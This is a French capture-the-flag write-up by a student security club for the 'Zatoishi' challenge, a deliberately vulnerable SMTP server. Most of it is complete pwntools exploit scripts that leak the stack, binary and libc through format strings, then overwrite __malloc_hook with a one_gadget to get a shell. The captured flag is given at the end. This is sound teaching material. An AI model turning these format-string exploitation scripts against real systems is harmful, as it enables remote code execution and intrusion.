HackademINT

Club de cybersécurité de Telecom SudParis


Zatoishi

Auteur : Bdenneu

----------------------------------

L’énoncé

Ce serveur mail a l’air douteux, essayez de récupérer le fichier “flag.txt”.

URL : tcp://challenge-ecw.fr:2020

A l’assaut!

Nous sommes face à un serveur SMTP. La première commande à entrer est ‘HELO username’. Tentons les buffer overflow:

Les buffer overflows sont donc possible, mais les canaris sont activés. Tentons les format strings:

Vu que l’on ne peut pas encore exploit les buffer overflow (le canari nous en empêche),il va falloir se concentrer sur les formats strings. Première étape, leak la stack:

from pwn import *
import re
import binascii

leaked_stack = b""
leak = True
if leak:
    r = remote('challenge-ecw.fr', 2020, level="error")
    r.recvrepeat(0.1)
    i = 1
    while i < 120:
        print(i, "=================")
        payload = 'HELO %'+'%d'%(i)+'$p'
        r.sendline(payload)
        data = r.recvrepeat(0.1)
        print(data)
        try:
            leaked = re.findall(b'Hello (.*?)\n',data)[0]
            if leaked == b"(nil)":
                leaked_stack += b"\x00"*8
            else:
                leaked_stack += p64(int(leaked,16))
            print(leaked_stack)
            i+=1
        except:
            continue

    r.close()
i = 1
while len(leaked_stack) > 8:
    print(i, binascii.hexlify(leaked_stack[:8][::-1]))
    leaked_stack = leaked_stack[8:]
    i+=1

Observations:

  • L’endroit où la format string est écrite est à la position 8. L’endroit où elle est récupérée est à la position 88.
  • L’aslr est activé.
  • Le canari est à la position 71 (la valeur ne ressemble à rien, change à chaque exécution du programme, est fini par 00). Vu que ce qui déclenchait le depassement de stack provient de printf, nous ne pourrons pas faire de rop (il va falloir mettre un \x00, et le reste du payload ne pourra pas être écrit après le canari).
  • L’adresse de retour se trouve deux crans après le canari (canari - rbp -rsp) à la position 73. Vu qu’elle commence par 0x400…, le Position Independant Executable n’est pas activé, nous pouvons leak le binaire.

Step2: leak le binaire.

Vu que le binaire est un x64 et que pie est désactivé, nous pouvons déduire que l’adresse de la section .text est 0x400000. Vu qu’elle comporte un \x00, nous allons nous servir de l’adresse de notre vrai buffer (à la position 88), en ajoutant du padding pour que l’adresse soit bien alignée sur un bloc. Si l’adresse comporte un \n, le binaire arretera de lire l’entrée utilisateur, donc on mettra des NOP à la place dans la mémoire.

from pwn import *
import binascii
import re

leak_binary = True
leaked_binary = b""
if leak_binary:
    with open('extracted.bin','rb') as f:
        leaked_binary = f.read()
    f = open('extracted.bin','ab')
    r = remote('challenge-ecw.fr', 2020, level='error')
    r.recv()
    while 1:
        payload = b'HELO %90$s'+b'BBBBBB'+p64(0x0000000000400000+len(leaked_binary))
        print(payload)
        if b"\n" in payload:
            leaked_binary += b"\x90"
            f.write(b"\x90")
            continue
        r.sendline(payload)
        data = r.recv()
        if data == b'':
            continue
        try:
            leaked = data.split(b'BBBBBB')[0].split(b'Hello ')[1]
        except:
            continue
        if leaked == b"(null)":
            leaked_binary += b"\x00"*8
            f.write(b"\x00"*8)
        elif len(leaked) == 0:
            leaked_binary += b"\x00"
            f.write(b"\x00")
        else:
            leaked_binary += leaked+b"\x00"
            f.write(leaked+b"\x00")
        #print(leaked_binary)
        f.flush()

Step3: leak la libc

Grace au binaire, nous pouvons avoir les adresses des fonctions dans la libc, est donc, savoir laquelle est utilisée. Lorsque l’aslr est activé, l’offset ajouté est un multiple de 0x1000. Du coup, on peut se servir du byte et demi restant pour se repérer.

Dans l’entry0, la fonction qui est appelée est toujours __libc_start_main.

L’adresse de __libc_start_main est donc stockée à l’adresse 0x00602060 dans le binaire.

from pwn import *
import binascii
import re

r = remote('challenge-ecw.fr', 2020, level='error')
r.recv()
payload = b'HELO %90$s'+b'BBBBBB'+p64(0x602060)
print(payload)
r.sendline(payload)
data = r.recv()
print(data)

La fin de l’adresse de __libc_start_main est donc 0x750 (0x7ff2152ed750). On a notre libc:

Step4: remplacer __malloc_hook par un one_gadget

Comme nous ne pouvons pas exploiter le buffer overflow, nous allons utiliser __malloc_hook. Un hook est une fonction qui va se lancer lorsque la fonction associée est appelée. Ici, il s’agit de malloc. Il faut savoir que lorsque l’on écrit des formats strings assez longues, malloc est appellé. La commande magique pour lancer la fonction qui se trouve au __malloc_hook sera “%65537c”.

Utilisons le one_gadget à 0xf0364. Ici, le chall devient assez classique, il faut se servir de $hn pour écrire à l’adresse voulue.

from pwn import *
import binascii
import re

r = remote('challenge-ecw.fr', 2020, level='error')
r.recvrepeat(0.1)
reloc_libc_start = 0x00602060
libc_start_main =  0x020750
one_gadget = 0xf0364
libc_malloc_hook = 0x003c4b10
payload = b'HELO %90$s'+b'BBBBBB'+p64(reloc_libc_start)
r.sendline(payload)
data = r.recv()
leaked = data.split(b'BBBBBB')[0].split(b'Hello ')[1]
libc_start = int(binascii.hexlify(leaked[::-1]),16)-libc_start_main
print("libc_start: 0x%08x"%libc_start)
print("libc_malloc_hook: 0x%08x"%(libc_start+libc_malloc_hook))
print("libc_one_gadget: 0x%08x"%(libc_start+one_gadget))
wanted = libc_start+one_gadget
first = (wanted & 0xffff)
payload = b'HELO %'+b'%d'%first+b'x%96$hn'
payload += b'b'*(64-len(payload))+p64(libc_start+libc_malloc_hook)
r.sendline(payload)
r.recvrepeat(0.1)
first = (wanted>>16 & 0xffff)
payload = b'HELO %'+b'%d'%first+b'x%96$hn'
payload += b'b'*(64-len(payload))+p64(libc_start+libc_malloc_hook+2)
r.sendline(payload)
r.recvrepeat(0.1)
first = (wanted>>32 & 0xffff)
payload = b'HELO %'+b'%d'%first+b'x%96$hn'
payload += b'b'*(64-len(payload))+p64(libc_start+libc_malloc_hook+4)
r.sendline(payload)
r.recvrepeat(0.1)
payload = "HELO %65537c"
r.sendline(payload)
print("Enjoy your shell!")
r.interactive()

Flag

ECW{a6ec2293e18b75bd868919c699b8846a6819f811}